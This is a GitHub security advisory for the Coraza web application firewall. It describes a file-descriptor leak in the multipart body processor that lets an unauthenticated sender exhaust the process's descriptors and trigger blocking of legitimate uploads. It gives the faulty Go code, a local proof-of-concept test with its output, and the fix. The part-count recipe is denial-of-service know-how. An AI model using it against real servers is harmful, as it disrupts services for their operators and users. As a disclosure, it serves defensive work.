GHSA-RP9V-7XV3-R6G3

Vulnerability from github – Published: 2026-10-08 17:52 – Updated: 2026-10-09 17:41
VLAI
Summary
Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor
Details

Summary

defer temp.Close() sits inside a for loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until ProcessRequest() exits. Send enough parts and you hit EMFILE. With CRS loaded, that flips MULTIPART_STRICT_ERROR to 1 and rule 200001 starts returning 400s, including on legitimate requests hitting the same condition.

Details

internal/bodyprocessors/multipart.go, line 69:

for {
    p, err := mr.NextPart()
    // ...
    temp, err := os.CreateTemp(storagePath, "crzmp*")
    defer temp.Close() // wrong scope
    io.Copy(temp, p)
}

Each iteration opens a temp file and defers its close. All of them stack up and fire together when ProcessRequest returns. 500 parts, 500 fds held simultaneously.

The body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, Content-Disposition with filename=, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table.

Fix is straightforward: call temp.Close() explicitly after io.Copy instead of deferring it.

PoC

Tested on v3.7.0 (db9850b), Go 1.25, Linux x86_64.

Add this file at internal/bodyprocessors/poc_fd_test.go and run:

go test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...

package bodyprocessors_test

import (
    "fmt"
    "os"
    "strings"
    "sync"
    "sync/atomic"
    "testing"

    "github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
    "github.com/corazawaf/coraza/v3/internal/bodyprocessors"
    "github.com/corazawaf/coraza/v3/internal/corazawaf"
)

func countFDs() int {
    e, _ := os.ReadDir("/proc/self/fd")
    return len(e)
}

func TestMultipartFDLeak(t *testing.T) {
    boundary := "testboundary"
    var sb strings.Builder
    for i := 0; i < 500; i++ {
        fmt.Fprintf(&sb, "--%s\r\n", boundary)
        fmt.Fprintf(&sb, "Content-Disposition: form-data; name=\"f%d\"; filename=\"f%d.txt\"\r\n", i, i)
        sb.WriteString("\r\n")
        sb.WriteString("X\r\n")
    }
    fmt.Fprintf(&sb, "--%s--\r\n", boundary)

    mp, _ := bodyprocessors.GetBodyProcessor("multipart")
    baseline := countFDs()

    var peak int64
    done := make(chan struct{})
    var wg sync.WaitGroup
    wg.Add(1)
    go func() {
        defer wg.Done()
        for {
            select {
            case <-done:
                return
            default:
                n := int64(countFDs())
                for {
                    cur := atomic.LoadInt64(&peak)
                    if n <= cur || atomic.CompareAndSwapInt64(&peak, cur, n) {
                        break
                    }
                }
            }
        }
    }()

    v := corazawaf.NewTransactionVariables()
    mp.ProcessRequest(strings.NewReader(sb.String()), v,
        plugintypes.BodyProcessorOptions{
            Mime:        "multipart/form-data; boundary=" + boundary,
            StoragePath: t.TempDir(),
        })
    close(done)
    wg.Wait()

    t.Logf("baseline=%d  peak=%d  spike=+%d",
        baseline, atomic.LoadInt64(&peak),
        atomic.LoadInt64(&peak)-int64(baseline))
}

Output:

baseline=7  peak=506  spike=+499

The spike is ~1 fd per part. After ProcessRequest returns the deferred closes fire and it drops back to baseline.

Impact

  • No authentication required. Any endpoint that accepts multipart uploads is affected.
  • fd exhaustion at ~6.8MB body (~65k parts). os.CreateTemp starts returning errors and MULTIPART_STRICT_ERROR is set to 1.
  • CRS false positives / DoS. With CRS loaded, rule 200001 then blocks the request with a 400 — and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload.
  • Process-wide impact. While the fd table is full the process can't open sockets or files for anything else either.
  • Scope. Affects all v3.x releases; the defer has been present since the multipart processor was introduced.
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/corazawaf/coraza/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-772"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:52:00Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`defer temp.Close()` sits inside a `for` loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until `ProcessRequest()` exits. Send enough parts and you hit `EMFILE`. With CRS loaded, that flips `MULTIPART_STRICT_ERROR` to 1 and rule `200001` starts returning 400s, including on legitimate requests hitting the same condition.\n\n## Details\n\n`internal/bodyprocessors/multipart.go`, line 69:\n\n```go\nfor {\n    p, err := mr.NextPart()\n    // ...\n    temp, err := os.CreateTemp(storagePath, \"crzmp*\")\n    defer temp.Close() // wrong scope\n    io.Copy(temp, p)\n}\n```\n\nEach iteration opens a temp file and defers its close. All of them stack up and fire together when `ProcessRequest` returns. 500 parts, 500 fds held simultaneously.\n\nThe body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, `Content-Disposition` with `filename=`, one byte of content) is about 104 bytes. That\u0027s roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table.\n\nFix is straightforward: call `temp.Close()` explicitly after `io.Copy` instead of deferring it.\n\n## PoC\n\nTested on v3.7.0 (`db9850b`), Go 1.25, Linux x86_64.\n\nAdd this file at `internal/bodyprocessors/poc_fd_test.go` and run:\n\n```text\ngo test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...\n```\n\n```go\npackage bodyprocessors_test\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\n\t\"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes\"\n\t\"github.com/corazawaf/coraza/v3/internal/bodyprocessors\"\n\t\"github.com/corazawaf/coraza/v3/internal/corazawaf\"\n)\n\nfunc countFDs() int {\n\te, _ := os.ReadDir(\"/proc/self/fd\")\n\treturn len(e)\n}\n\nfunc TestMultipartFDLeak(t *testing.T) {\n\tboundary := \"testboundary\"\n\tvar sb strings.Builder\n\tfor i := 0; i \u003c 500; i++ {\n\t\tfmt.Fprintf(\u0026sb, \"--%s\\r\\n\", boundary)\n\t\tfmt.Fprintf(\u0026sb, \"Content-Disposition: form-data; name=\\\"f%d\\\"; filename=\\\"f%d.txt\\\"\\r\\n\", i, i)\n\t\tsb.WriteString(\"\\r\\n\")\n\t\tsb.WriteString(\"X\\r\\n\")\n\t}\n\tfmt.Fprintf(\u0026sb, \"--%s--\\r\\n\", boundary)\n\n\tmp, _ := bodyprocessors.GetBodyProcessor(\"multipart\")\n\tbaseline := countFDs()\n\n\tvar peak int64\n\tdone := make(chan struct{})\n\tvar wg sync.WaitGroup\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase \u003c-done:\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tn := int64(countFDs())\n\t\t\t\tfor {\n\t\t\t\t\tcur := atomic.LoadInt64(\u0026peak)\n\t\t\t\t\tif n \u003c= cur || atomic.CompareAndSwapInt64(\u0026peak, cur, n) {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\n\tv := corazawaf.NewTransactionVariables()\n\tmp.ProcessRequest(strings.NewReader(sb.String()), v,\n\t\tplugintypes.BodyProcessorOptions{\n\t\t\tMime:        \"multipart/form-data; boundary=\" + boundary,\n\t\t\tStoragePath: t.TempDir(),\n\t\t})\n\tclose(done)\n\twg.Wait()\n\n\tt.Logf(\"baseline=%d  peak=%d  spike=+%d\",\n\t\tbaseline, atomic.LoadInt64(\u0026peak),\n\t\tatomic.LoadInt64(\u0026peak)-int64(baseline))\n}\n```\n\nOutput:\n\n```text\nbaseline=7  peak=506  spike=+499\n```\n\nThe spike is ~1 fd per part. After `ProcessRequest` returns the deferred closes fire and it drops back to baseline.\n\n## Impact\n\n- **No authentication required.** Any endpoint that accepts multipart uploads is affected.\n- **fd exhaustion at ~6.8MB body (~65k parts).** `os.CreateTemp` starts returning errors and `MULTIPART_STRICT_ERROR` is set to 1.\n- **CRS false positives / DoS.** With CRS loaded, rule `200001` then blocks the request with a 400 \u2014 and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can\u0027t distinguish the attack from a legitimate upload.\n- **Process-wide impact.** While the fd table is full the process can\u0027t open sockets or files for anything else either.\n- **Scope.** Affects all v3.x releases; the `defer` has been present since the multipart processor was introduced.",
  "id": "GHSA-rp9v-7xv3-r6g3",
  "modified": "2026-10-09T17:41:10Z",
  "published": "2026-10-08T17:52:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/security/advisories/GHSA-rp9v-7xv3-r6g3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/commit/1bc39036e99c88e7de60cf8e6bb55ee4c311223c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/corazawaf/coraza"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/releases/tag/v3.8.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.